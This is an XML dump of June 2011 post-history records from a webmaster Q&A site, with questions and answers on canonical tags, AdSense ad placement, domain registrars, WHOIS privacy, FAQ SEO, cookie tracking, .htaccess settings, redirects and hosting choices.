  <row Id="34723" PostHistoryTypeId="2" PostId="14776" RevisionGUID="ae2e7686-6b14-4045-a693-defdebf72eee" CreationDate="2011-06-03T13:28:31.770" UserId="4053" Text="you have to define a **canonical tag** that points to:&#xD;&#xA;&#xD;&#xA;domain.com/category/something&#xD;&#xA;&#xD;&#xA;so that even if google looks at the other urls you mentioned, it definitely know that they belong to the main-page defined in the canonical tag.&#xD;&#xA;&#xD;&#xA;[Here is the official google blog post][1] and the explanation for the canonical url.&#xD;&#xA;&#xD;&#xA;BTW, putting a rel nofollow would be unnecessary dangerous since they are somehow counted too and may have a negative impact on your SEO.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="34724" PostHistoryTypeId="5" PostId="14775" RevisionGUID="ee9b778f-164e-4de7-bb6d-e7ab692bd7d4" CreationDate="2011-06-03T13:32:11.230" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Two URLs pointing to almost the same content](http://webmasters.stackexchange.com/questions/14284/two-urls-pointing-to-almost-the-same-content)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;If I have a page, that has this url:&#xD;&#xA;&#xD;&#xA;- domain.com/category/something/&#xD;&#xA;&#xD;&#xA;but can also be accessed through these urls: &#xD;&#xA;&#xD;&#xA;- domain.com/category/something/1&#xD;&#xA;- domain.com/category/something/2&#xD;&#xA;- domain.com/category/something/3&#xD;&#xA;&#xD;&#xA;where the last number is used as an image-index to display a certain image on the page. So the content of the pages are the same, just with one image changed.&#xD;&#xA;&#xD;&#xA;How do I avoid google indexing the versions with /number at the end, so it only shows up once in searches - and is not considered duplicate content?&#xD;&#xA;&#xD;&#xA;Is it enough to put a rel=&quot;nofollow&quot; on links to the /number links?" />
  <row Id="34725" PostHistoryTypeId="10" PostId="14775" RevisionGUID="a3132720-0650-41af-9f30-542d9ef0323c" CreationDate="2011-06-03T13:32:10.713" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="34726" PostHistoryTypeId="2" PostId="14777" RevisionGUID="a3d9aa84-d8c4-4fad-876a-497df67e8818" CreationDate="2011-06-03T13:33:36.737" UserId="2288" Text="Do you have a link to the TOS in question, since I'm unable to find it.&#xD;&#xA;&#xD;&#xA;I used Gandi years ago, back then their interface and TOS were a little odd, but I never had any issues with them. Think you did the right thing contacting Gandi's support, but if you have the controls to change the DNS setting within the account as you commented you do, I'd just try change the settings and see if the changes then work; clearly it takes a number of hours, if not days in some cases for that to happen; again, this might create a TOS, but find that hard to believe.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PS-Clearly if this is the case, seems to part with their moto &quot;no bullshit&quot;... :-)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34727" PostHistoryTypeId="2" PostId="14778" RevisionGUID="d8effd6d-65fe-4e44-a636-9898f169e332" CreationDate="2011-06-03T13:55:00.407" UserId="2288" Text="Here today, gone tomorrow... :-)&#xD;&#xA;&#xD;&#xA;Has anyone run across any gone analysis of the future of the web; meaning media rendered over the HTTP proctol, and displayed in a web browser. For example, APPS not using web browsers as an interface would be an example of something that would replace the world wide web." />
  <row Id="34728" PostHistoryTypeId="1" PostId="14778" RevisionGUID="d8effd6d-65fe-4e44-a636-9898f169e332" CreationDate="2011-06-03T13:55:00.407" UserId="2288" Text="Analysis on the future of the web, compared to other media" />
  <row Id="34729" PostHistoryTypeId="3" PostId="14778" RevisionGUID="d8effd6d-65fe-4e44-a636-9898f169e332" CreationDate="2011-06-03T13:55:00.407" UserId="2288" Text="&lt;web&gt;" />
  <row Id="34730" PostHistoryTypeId="10" PostId="14778" RevisionGUID="77ccc4f7-189c-4b6e-a9db-676566515bc3" CreationDate="2011-06-03T13:56:33.450" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="34731" PostHistoryTypeId="2" PostId="14779" RevisionGUID="e501c6e5-deab-4d5e-9044-6da0a20f0166" CreationDate="2011-06-03T14:08:04.317" UserId="4053" Text="let's say your urls are:&#xD;&#xA;&#xD;&#xA; - domain.com/category/something/a&#xD;&#xA; - domain.com/category/something/b&#xD;&#xA; - domain.com/category/something/c&#xD;&#xA;&#xD;&#xA;then you have to define a **canonical tag** that points to:&#xD;&#xA;&#xD;&#xA;domain.com/category/something&#xD;&#xA;&#xD;&#xA;so that even if google looks at the other urls you mentioned, it definitely know that they belong to the main-page defined in the canonical tag.&#xD;&#xA;&#xD;&#xA;[Here is the official google blog post][1] and the explanation for the canonical url.&#xD;&#xA;&#xD;&#xA;BTW, putting a rel nofollow would be unnecessary dangerous since they are somehow counted too and may have a negative impact on your SEO.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="34732" PostHistoryTypeId="25" PostId="14772" RevisionGUID="ba49ac27-846c-4c0f-968a-32e617de0b80" CreationDate="2011-06-03T15:13:37.407" Comment="http://twitter.com/#!/StackWebmasters/status/76667861426384897" />
  <row Id="34733" PostHistoryTypeId="2" PostId="14780" RevisionGUID="bcf4a734-4a16-40aa-b751-f6a5ff6d6252" CreationDate="2011-06-03T15:29:24.870" UserId="4053" Text="I'm reading websites like [websitepublisher][1] and seen sites like [environmentalchemistry][2]. They all have those adsense in them, but the ads seem like perfectly blended.  &#xD;&#xA;&#xD;&#xA;I want to earn money from a content website, which i want to describe things about human relationships. I prefer to buy templates from ThemeForest and build a website around it.  &#xD;&#xA;&#xD;&#xA;Would i make a better profit, if the ads are blended like in the first 2 websites or would i be better off with a banner that is placed like in [this modern design][3]?  &#xD;&#xA;&#xD;&#xA; - What are the benefits of these blended ads?&#xD;&#xA; - Would users &quot;leave&quot; the webpage because it looks outdated/oldshool?&#xD;&#xA;&#xD;&#xA;Thank you&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.websitepublisher.net/&#xD;&#xA;  [2]: http://environmentalchemistry.com/&#xD;&#xA;  [3]: http://themeforest.net/item/premium-pixels-fancy-pants-blog-magazine-theme/full_screen_preview/232838" />
  <row Id="34734" PostHistoryTypeId="1" PostId="14780" RevisionGUID="bcf4a734-4a16-40aa-b751-f6a5ff6d6252" CreationDate="2011-06-03T15:29:24.870" UserId="4053" Text="AdSense related website design / Ad Blending" />
  <row Id="34735" PostHistoryTypeId="3" PostId="14780" RevisionGUID="bcf4a734-4a16-40aa-b751-f6a5ff6d6252" CreationDate="2011-06-03T15:29:24.870" UserId="4053" Text="&lt;website-design&gt;&lt;google-adsense&gt;&lt;banners&gt;" />
  <row Id="34736" PostHistoryTypeId="2" PostId="14781" RevisionGUID="d228778d-915d-4171-b478-c7de5214af51" CreationDate="2011-06-03T16:20:47.577" UserId="2852" Text="I've used [123-reg.co.uk][1] for many years, and I have a number of domains with them.  They are (one of?) the largest registrars in the UK.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.123-reg.co.uk/" />
  <row Id="34737" PostHistoryTypeId="16" PostId="14781" RevisionGUID="f8f59dc7-0eee-46d2-a58e-89596e2c4d28" CreationDate="2011-06-03T16:20:47.577" UserId="2852" />
  <row Id="34738" PostHistoryTypeId="2" PostId="14782" RevisionGUID="183599f5-e632-44c3-9d69-10a7220123bd" CreationDate="2011-06-03T16:35:27.910" UserId="2852" Text="I couldn't find exactly what you want, but you've got this thing called URL Channels in Adsense, which lets you track clicks by specific URLs.  So if you know roughly where the ads might be getting served, you can set up channels to cover those sections.  It doesn't have to be specific pages, you can start further up and narrow it down. i.e. channel 1 is example.com/blog, channel 2 is example.com/store and so on." />
  <row Id="34739" PostHistoryTypeId="2" PostId="14783" RevisionGUID="ce70cf93-3466-48fe-9a9e-4a8c362e8f6f" CreationDate="2011-06-03T16:52:20.900" UserId="7198" Text="Google frowns on 'blending' AdSense ads [[source](http://adsense.blogspot.com/2008/03/another-look-at-optimizations.html)]. It's unhealthy for advertisers and frustrating for your visitors:&#xD;&#xA;&#xD;&#xA;&gt; &quot;As you can imagine, users who click on ads that they think are publisher-created content may lose trust in your site and decide not to return in the future. It's important to keep their interests in mind, as well as your own.&quot;&#xD;&#xA;&#xD;&#xA;**It's worth clearly segregating ads and content** because it makes your content more legible and your ads clearly identifiable as adverts. You don't want to trick people into clicking them; you want people to click them when they're genuinely interested in what's on offer.&#xD;&#xA;&#xD;&#xA;You asked whether you should mix ads into your content or keep them in the sidebar. I say do both. [Smashing Magazine][1], for example, has successfully mixed in-post ads with multiple banner ads in a dedicated sidebar, but they still maintain a distinct segregation between ads and content, and that's probably what you should strive for if your goal is to increase clicks without losing visitors.&#xD;&#xA;&#xD;&#xA;As to whether you should adopt a 'modern' or 'outdated' design, it's often best not to follow trends, but instead to understand who will be visiting your site and design it around their needs. If you're designing a site for a major bank, for example, it might  be better to shun the grungy vector splatters favoured by many 'modern' web designers and adopt something more traditional instead. If you're designing a dating site for young adults, they'll probably expect something a little more 'modern' in its appearance and functionality.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smashingmagazine.com/" />
  <row Id="34746" PostHistoryTypeId="2" PostId="14785" RevisionGUID="26dfdacb-4789-48ef-8110-642c7d6ec29a" CreationDate="2011-06-03T17:23:01.010" UserId="1253" Text="Try putting this in the .htaccess file in your root web directory:&#xD;&#xA;&#xD;&#xA;    DirectoryIndex index.html index.php" />
  <row Id="34747" PostHistoryTypeId="2" PostId="14786" RevisionGUID="a3511ad6-1fa8-4fda-bc88-72a7a3d2aec4" CreationDate="2011-06-03T17:45:01.290" UserId="2739" Text="I have used [UK Web Solutions Direct][1] for years and have never had any problems. They are reliable and not too expensive.&#xD;&#xA;&#xD;&#xA;On the flip side, I have used [easyspace][2] once and they were expensive, difficult to use and with extremely poor customer service.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ukwebsolutionsdirect.co.uk/&#xD;&#xA;  [2]: http://blog.ajcw.com/2011/01/easyspace-easy-theft/" />
  <row Id="34748" PostHistoryTypeId="16" PostId="14786" RevisionGUID="aaee4876-f41d-4593-ab3a-aeadc8e13d4d" CreationDate="2011-06-03T17:45:01.290" UserId="2739" />
  <row Id="34749" PostHistoryTypeId="2" PostId="14787" RevisionGUID="8be365b0-c7e5-45b2-9576-5e1609855705" CreationDate="2011-06-03T17:48:58.950" UserId="179" Text="&lt;a href=&quot;http://1and1.com/&quot;&gt;1&amp;1&lt;/a&gt; gives you free anonymous whois data when registering a domain name, at prices that are relatively close to the cheap registrars like GoDaddy.&#xD;&#xA;&#xD;&#xA;However, companies like 1&amp;1 that do it for free, and GoDaddy that charge extra for it, will almost always hand over your information without fighting for you at the slightest legal provocation. These services are meant to keep your data out of the whois record to prevent spam and general harassment, not as a legal shield for your identity or to allow you to do legally questionable things with your website. " />
  <row Id="34750" PostHistoryTypeId="17" PostId="14788" RevisionGUID="eef89df6-5949-40ae-85ee-7bd6d5273749" CreationDate="2011-06-03T17:54:23.257" UserId="-1" Comment="from http://stackoverflow.com/questions/6219145/improving-faq-seo-with-multiple-pages" Text="" />
  <row Id="34751" PostHistoryTypeId="17" PostId="14789" RevisionGUID="e7fc2875-df6e-40ff-b3f8-be5cd9a4740d" CreationDate="2011-06-03T17:54:23.257" UserId="-1" Comment="from http://stackoverflow.com/questions/6219145/improving-faq-seo-with-multiple-pages" Text="" />
  <row Id="34752" PostHistoryTypeId="17" PostId="14790" RevisionGUID="c1f4d926-b610-40cd-a4c5-95ba99a30db0" CreationDate="2011-06-03T17:54:23.257" UserId="-1" Comment="from http://stackoverflow.com/questions/6219145/improving-faq-seo-with-multiple-pages" Text="" />
  <row Id="34753" PostHistoryTypeId="2" PostId="14789" RevisionGUID="94659ab8-6e48-4881-959a-93d7f4226731" CreationDate="2011-06-02T20:20:00.943" UserDisplayName="Quotient" Text="If you could group them logically for the user then i might suggest putting each group on a different page. My general approach to SEO is first to serve the user and Google rank will follow.&#xD;&#xA;" />
  <row Id="34754" PostHistoryTypeId="2" PostId="14790" RevisionGUID="3a324753-f7d9-4daa-b73d-7d20a24648d4" CreationDate="2011-06-03T03:33:22.853" UserId="4392" Text="I can  take up in the following manner&#xD;&#xA;&#xD;&#xA;**scenario 1** :If i have a single page with all the questions and answers in it&#xD;&#xA;Then i think of placing the questions in H2 tag and and display the answers&#xD;&#xA;&#xD;&#xA;Title of the page you need to keep generic.&#xD;&#xA;&#xD;&#xA;**Scenario 2**: if you generate one separate page for each question, &#xD;&#xA;then it would be optimum and display the quesion in your title tag,&#xD;&#xA;this will have more SEO benefits.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can consider the above methods for your problem. i will go with scenario 2" />
  <row Id="34755" PostHistoryTypeId="2" PostId="14788" RevisionGUID="4417e716-ec1a-4cc2-b362-25fbf3393acc" CreationDate="2011-06-02T19:06:28.940" UserDisplayName="asdfasdf" Text="I have a client who has over 200 Question/Answer style content blocks. Neither the questions or answers are very long and most of them have almost the same question but with a word or two differentiating themselves from the rest of the questions.&#xD;&#xA;&#xD;&#xA;Would SEO be helped or hurt if I would to put each QA on its own page with the title of the page the question being asked etc... Or, would that be considered &quot;farming&quot;?&#xD;&#xA;&#xD;&#xA;If not, what would be the best way (in SEO world) do present all these QAs?&#xD;&#xA;&#xD;&#xA;Thanks for any advice.." />
  <row Id="34756" PostHistoryTypeId="1" PostId="14788" RevisionGUID="4417e716-ec1a-4cc2-b362-25fbf3393acc" CreationDate="2011-06-02T19:06:28.940" UserDisplayName="asdfasdf" Text="Improving FAQ SEO with multiple pages?" />
  <row Id="34757" PostHistoryTypeId="3" PostId="14788" RevisionGUID="4417e716-ec1a-4cc2-b362-25fbf3393acc" CreationDate="2011-06-02T19:06:28.940" UserDisplayName="asdfasdf" Text="&lt;seo&gt;" />
  <row Id="34758" PostHistoryTypeId="2" PostId="14791" RevisionGUID="104f683a-ee19-4682-9519-d25e37ece70c" CreationDate="2011-06-03T17:56:00.153" UserId="8019" Text="Or, you could registar with [Dreamhost][1] which offers the service for free. Of course, that means only hiding your personal info from the WHOIS listings. But you will still be reachable through redirected emails.&#xD;&#xA;&#xD;&#xA;That's more than enough for most people though.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dreamhost.com/hosting-features.html#domain_privacy" />
  <row Id="34759" PostHistoryTypeId="2" PostId="14792" RevisionGUID="30124178-e2b5-4fa8-b2ea-56048a742812" CreationDate="2011-06-03T18:00:46.107" UserId="1253" Text="&quot;Farming&quot; is when you create a bunch of websites for the explicit purpose of linking to a main website in the hopes of boosting its search engine rankings. You are not doing that here.&#xD;&#xA;&#xD;&#xA;Since so many of the questions and answers are similar you may run into duplicate content issues. You also may run afoul of &quot;quality content&quot; issues which is what the Panda update supposedly sought to eliminate.&#xD;&#xA;&#xD;&#xA;Your best bet is to create a page for each topic and put all of the questions related to that topic on it. That way you avoid duplicate content penalties, avoid content quality issues, and allow each page to be focused on one topic which helps you optimize it for search terms related to it. It also allows you to have multiple pages which, besides keeping everything organized, allows you to do a lot of cross-linking which is an often overlooked aspect of SEO." />
  <row Id="34760" PostHistoryTypeId="2" PostId="14793" RevisionGUID="64b5e3ec-8921-4fc3-9bdb-027d12b47f63" CreationDate="2011-06-03T18:13:30.423" UserId="8018" Text="I always send a redirect in the response header with the proper HTTP status code (e.g. 301 or 302 - see http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html ), which results in an immediate redirect. I'm not aware of any good technical reasons why someone would display a &quot;please wait while you're redirected page&quot;." />
  <row Id="34761" PostHistoryTypeId="25" PostId="14780" RevisionGUID="37184c17-8379-4f0a-a178-9fe687d0a672" CreationDate="2011-06-03T18:13:38.800" Comment="http://twitter.com/#!/StackWebmasters/status/76713165097938944" />
  <row Id="34762" PostHistoryTypeId="2" PostId="14794" RevisionGUID="c0c872de-c157-40ee-938c-55461b39c044" CreationDate="2011-06-03T18:31:30.087" UserId="8018" Text="The Google Maps JavaScript API makes it possible to develop a solution like this in JavaScript.&#xD;&#xA;&#xD;&#xA;http://code.google.com/apis/maps/documentation/javascript/reference.html" />
  <row Id="34763" PostHistoryTypeId="2" PostId="14795" RevisionGUID="c55024ca-6890-46ec-845b-4fdeeadb248f" CreationDate="2011-06-03T18:37:34.623" UserId="7933" Text="You must have done detective work to suspect that this rewrite is the cause, but do you see any similar server issues when you load the URL directly? i.e. when you go to&#xD;&#xA;&#xD;&#xA;http://www.example.com/generate.php?userid=example&#xD;&#xA;&#xD;&#xA;Look for other differences between your environments:&#xD;&#xA;&#xD;&#xA; - like file permissions&#xD;&#xA; - php configurations &#xD;&#xA; - what graphics libraries are installed and *preferred*&#xD;&#xA; - Enable rewritelog at the apache conf/vhost level and compare&#xD;&#xA;&#xD;&#xA;You have more info than we do, but if the exact .htaccess and assuming exact apache version/config, looking at the rewrite to behave differently on live than production seems.. unlikely?" />
  <row Id="34764" PostHistoryTypeId="2" PostId="14796" RevisionGUID="12472eb9-dcc6-49a1-bfe0-b2d1b857a3b7" CreationDate="2011-06-03T18:41:59.410" UserId="8020" Text="The context is a third-party analytics service, specifically Quantcast, but the inquiries are more general in nature. Please forgive and correct me if any of my assumptions are off, and thank you in advance for your help.&#xD;&#xA;&#xD;&#xA;1. I understand that cookies are based on a 'give and get' system where the first request sets the cookie on the user machine and the second request from the user sends the cookie-related data back to the machine. What might the implications be then for single page view sessions? For instance, can the server confirm receipt without a second request and would it be able to know if the machine was unique (e.g. relay information about presence of a previously-issued cookie)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2. Scenario: Assuming pages A,B, and C are all on the same domain, a cookie is set when a user visits page A. The user follows a link to page B but while the page is loading and before the get request is sent to the server, the user clicks on a link to page C. He allows page C to load completely and the get request is received. In that request/response for page C, does the server also receive information that the user had visited page B? &#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Abel" />
  <row Id="34765" PostHistoryTypeId="1" PostId="14796" RevisionGUID="12472eb9-dcc6-49a1-bfe0-b2d1b857a3b7" CreationDate="2011-06-03T18:41:59.410" UserId="8020" Text="Cookie data transfer" />
  <row Id="34766" PostHistoryTypeId="3" PostId="14796" RevisionGUID="12472eb9-dcc6-49a1-bfe0-b2d1b857a3b7" CreationDate="2011-06-03T18:41:59.410" UserId="8020" Text="&lt;analytics&gt;&lt;cookie&gt;" />
  <row Id="34767" PostHistoryTypeId="2" PostId="14797" RevisionGUID="fc338ded-fee9-4e65-8ea4-3f7a9f5ff404" CreationDate="2011-06-03T18:43:23.403" UserId="8018" Text="&gt; Are there disadvantages to this approach&#xD;&#xA;&#xD;&#xA;Yes. A malicious party could be using a proxy IP. You could end up blacklisting legitimate users with the same IP, and the malicious user may just change their IP if blacklisted." />
  <row Id="34768" PostHistoryTypeId="2" PostId="14798" RevisionGUID="1ef2c80d-b857-4c67-80e2-1ce2d3665ec4" CreationDate="2011-06-03T18:48:36.037" UserId="8018" Text="Are you providing instructions to bots in a robots.txt file?&#xD;&#xA;&#xD;&#xA;Are you using a meta element with a &quot;noindex&quot; value in its content attribute?&#xD;&#xA;&#xD;&#xA;Have you specified a slower crawl rate in the Google Webmaster (or whichever crawler you are having issues with) interface?" />
  <row Id="34769" PostHistoryTypeId="2" PostId="14799" RevisionGUID="6d3595c5-397a-46b1-a11d-19bf92b4a404" CreationDate="2011-06-03T19:10:34.883" UserId="8021" Text="I'm making a toy LAN messaging system that involves Ruby CGI scripts and data files stored on the server, and I want to prevent the same data from being sent to the server multiple times.&#xD;&#xA;&#xD;&#xA;Is there any way that you know of to request that the client of your web server forget the GET or POST data that it sent in its request?" />
  <row Id="34770" PostHistoryTypeId="1" PostId="14799" RevisionGUID="6d3595c5-397a-46b1-a11d-19bf92b4a404" CreationDate="2011-06-03T19:10:34.883" UserId="8021" Text="Clear GET or POST data from CGI script?" />
  <row Id="34771" PostHistoryTypeId="3" PostId="14799" RevisionGUID="6d3595c5-397a-46b1-a11d-19bf92b4a404" CreationDate="2011-06-03T19:10:34.883" UserId="8021" Text="&lt;server&gt;" />
  <row Id="34772" PostHistoryTypeId="2" PostId="14800" RevisionGUID="aa14d0af-9e08-4f17-aed9-0cc4e817a486" CreationDate="2011-06-03T19:30:54.300" UserId="179" Text="I'm not sure I completely understand this question, but I will attempt to explain how cookies work in the context of Quantcast and hopefully that will explain things&#xD;&#xA;&#xD;&#xA;1. When you include a Quantcast cookie into your site, you're actually including a small piece of Javascript that reads and writes that cookie. When a visitor gets to your page and the Javascript is run which reads/updates the cookie, and sends the information that Quantcast wants to the Quantcast server. This cookie is used similarly to Google Analytics cookies in that yes, it can identify a unique user, but it suffers from the same drawback in that if people have cookies disabled, or even just third-party cookies disabled, then they will not be tracked &quot;properly&quot;.&#xD;&#xA;&#xD;&#xA;2. No, a user does not register as having visited page B. In order for a user to register as having visited a page that did not load completely, the portion of the page that tracks would have to have loaded. In your example the user clicks to page C before any of page B is loaded at all, which would mean the javascript that Quantcast uses to read those cookies will not have been loaded.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34780" PostHistoryTypeId="18" PostId="14799" RevisionGUID="bd4b02b5-9c00-4ff8-a2e8-02f45dc3604b" CreationDate="2011-06-03T20:36:51.650" UserId="1253" Comment="from http://webmasters.stackexchange.com/questions/14801/clear-get-or-post-data-from-cgi-script" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="34782" PostHistoryTypeId="2" PostId="14802" RevisionGUID="110a0ba7-0bdc-4fb1-bcd8-c28a2892ee02" CreationDate="2011-06-03T20:44:32.067" UserId="8022" Text="I am working on a project that will be released as open source in the latter part of the year. I am starting to think about how the accompanying website will be hosted and would greatly appreciate some advice.&#xD;&#xA;&#xD;&#xA;**Requirements:**&#xD;&#xA;&#xD;&#xA;*Domain #1*&#xD;&#xA;&#xD;&#xA;* Information about the project itself (just pages and pictures).&#xD;&#xA;* Documentation / Wiki&#xD;&#xA;* Forums&#xD;&#xA;* Download of project source (approx 3MB archive)&#xD;&#xA;* Download of various themes and community contributed content (est. sizes 10KB ~ 512KB).&#xD;&#xA;&#xD;&#xA;*Domain #2*&#xD;&#xA;&#xD;&#xA;* Primary company website that offers products and services. This will be primarily pictures and pages.&#xD;&#xA;&#xD;&#xA;What kind of web hosting would be best for a project like this. I am working on a very tight budget and can only afford to spend up to £250 per year for hosting this. I was considering using some sort of VPS hosting.&#xD;&#xA;&#xD;&#xA;I found the following companies which seem to offer around this price range, but they have very mixed reviews.&#xD;&#xA;&#xD;&#xA;* http://www.webhosting.uk.com/&#xD;&#xA;* http://www.eukhost.com/&#xD;&#xA;* Godaddy UK&#xD;&#xA;* uk2 . net&#xD;&#xA;&#xD;&#xA;My company is based in the UK, how important is it for me to use UK based hosting? There are plenty of overseas hosting companies that are considerably cheaper.&#xD;&#xA;&#xD;&#xA;When it comes to bandwidth, how many downloads will **bandwidth: 100GB** get me?&#xD;&#xA;&#xD;&#xA;Any advice would be very greatly appreciated!" />
  <row Id="34783" PostHistoryTypeId="1" PostId="14802" RevisionGUID="110a0ba7-0bdc-4fb1-bcd8-c28a2892ee02" CreationDate="2011-06-03T20:44:32.067" UserId="8022" Text="Web Hosting Advice for Project" />
  <row Id="34784" PostHistoryTypeId="3" PostId="14802" RevisionGUID="110a0ba7-0bdc-4fb1-bcd8-c28a2892ee02" CreationDate="2011-06-03T20:44:32.067" UserId="8022" Text="&lt;php&gt;&lt;web-hosting&gt;&lt;server&gt;&lt;web&gt;&lt;vps&gt;" />
  <row Id="34785" PostHistoryTypeId="5" PostId="10096" RevisionGUID="c0c5e905-661e-466a-bc39-46949cb7dc4b" CreationDate="2011-06-03T21:00:36.693" UserId="1253" Comment="added 425 characters in body" Text="Is there a way to rewrite&#xD;&#xA;&#xD;&#xA;    http://localhost/embed/player.swf?file=http://www.youtube.com/watch?v=7yKDhm4_-90&#xD;&#xA;&#xD;&#xA;to something smaller?&#xD;&#xA;&#xD;&#xA;or is there a way to change this into&#xD;&#xA;&#xD;&#xA;    http://localhost/embed/script.php?id=7yKDhm4_-90&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What can i do?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;i've tried with something like this:&#xD;&#xA;&#xD;&#xA;    header('Content-type: application/x-shockwave-flash');&#xD;&#xA;    header('Content-Length: ' . filesize($file));&#xD;&#xA;    header('Connection: close');&#xD;&#xA;    $video_id = $_REQUEST['id'];&#xD;&#xA;    $content = readfile(&quot;http://localhost/embed/player.swf?file=http://www.youtube.com/watch?v=$video_id&quot;);&#xD;&#xA;    echo $content;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;but it is mot working. &#xD;&#xA;&#xD;&#xA;what i am doing wrong?&#xD;&#xA;" />
  <row Id="34787" PostHistoryTypeId="2" PostId="14803" RevisionGUID="0c539b5a-4aee-4b03-8957-3163a22fb801" CreationDate="2011-06-03T21:03:43.760" UserId="5806" Text="Go with [Total Choice Hosting][1]. They have awesome support and with your budget you can afford **two** of their *Gold* plan which gives you 1 TB of bandwidth.&#xD;&#xA;&#xD;&#xA;You probably do not need that much even unless you product is hugely popular. You can even get away with buying one plan (saving half the cost) there if you make one site a subdomain of the other. I'd start with the *Silver* plan even for 2 x $55 /year. You can always upgrade and you'll get an email alert when you got close to your bandwidth limit.&#xD;&#xA;&#xD;&#xA;The location of your service is not that important. There is an advantage to being physically closer to your target customers but it is usually very small unless dealing with high-bandwidth data such as video.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://totalchoicehosting.com/" />
  <row Id="34788" PostHistoryTypeId="25" PostId="14796" RevisionGUID="4dcd031d-8cfe-4b56-a4ed-7b1b901b8107" CreationDate="2011-06-03T21:13:39.150" Comment="http://twitter.com/#!/StackWebmasters/status/76758463543394304" />
  <row Id="34789" PostHistoryTypeId="2" PostId="14804" RevisionGUID="900f8744-d5bb-4f07-b854-56a41f495ce9" CreationDate="2011-06-03T22:11:07.877" UserId="179" Text="Other than an elaborate `&lt;frame&gt;` setup or a rewriting of the backend of website1.com I can't think of a way to do this off the top of my head. The easiest thing to do would be to tell all of your users about an impending change ahead of time, and then on a given date you start redirecting all your old links to new links. so website1.com/user/content/ would forward (with a proper permanent redirect code) to website2.com/user/content/. " />
  <row Id="34790" PostHistoryTypeId="12" PostId="14804" RevisionGUID="2516e976-ced5-4671-897c-a11feb7cb122" CreationDate="2011-06-03T22:11:36.780" UserId="179" Text="[{&quot;Id&quot;:179,&quot;DisplayName&quot;:&quot;Bryson&quot;}]" />
  <row Id="34791" PostHistoryTypeId="2" PostId="14805" RevisionGUID="a0c0a8d0-252c-4686-896f-605d16fa48de" CreationDate="2011-06-03T22:19:27.323" UserId="932" Text="the https://www.namecheap.com/ also provide an anonymous return of your informations on the whois listing for a small amount of money." />
  <row Id="34792" PostHistoryTypeId="5" PostId="14804" RevisionGUID="61c66227-137f-447b-95ac-3997ebe2c069" CreationDate="2011-06-03T22:22:33.310" UserId="179" Comment="My first answer was terrible. And wrong." Text="The easiest thing to do would be to tell your server (I'm assuming Apache, but this is true for Lighttpd and Nginx as well) to use the same folder as the document root for both domains.&#xD;&#xA;&#xD;&#xA;The &lt;em&gt;right&lt;/em&gt; thing to do is to redirect domain1.com to domain2.com and only use domain as canonical. There isn't any advantage to using 2 domains simultaneously and it increases your maintenance workload (even if only slightly). I would send out an email to any clients or users that a change is coming, and that domain1.com will be your new domain, while domain2.com will continue to work for a set period of time and then be discontinued. &#xD;&#xA;&#xD;&#xA;If you take this step and only go forward with one domain, instead of simply shutting the old domain off, set up a proper redirect (using the proper &lt;a href=&quot;http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.3.2&quot;&gt;HTTP 301 redirect type&lt;/a&gt; for all of your old domain's URLs. This will keep users that are still referencing your old domain in the right place. You can do this for every individual URL you have (like every specific article of a blog), just the major ones (like domain1.com/users/content/), or only for your domain as a whole (which leads domain1.com/* to domain2.com/).&#xD;&#xA;&#xD;&#xA;You'll also want to make sure that you take steps to &lt;a href=&quot;http://www.ninebyblue.com/blog/ranking-as-the-original-source-for-content-you-syndicate/&quot;&gt;rank one of the domains as the original content source&lt;/a&gt;, as Google will see your duplicate content as syndicated content. It won't negatively affect your ranking, &lt;a href=&quot;http://googlewebmastercentral.blogspot.com/2008/06/duplicate-content-due-to-scrapers.html&quot;&gt;according to the Google&lt;/a&gt; but your content may be detected as original for some on one domain, and original for some on the other, leading to potentially confusing search results." />
  <row Id="34793" PostHistoryTypeId="13" PostId="14804" RevisionGUID="00eec18c-ed59-4d0e-ab44-f9b7c0559c55" CreationDate="2011-06-03T22:22:44.683" UserId="179" Text="[{&quot;Id&quot;:179,&quot;DisplayName&quot;:&quot;Bryson&quot;}]" />
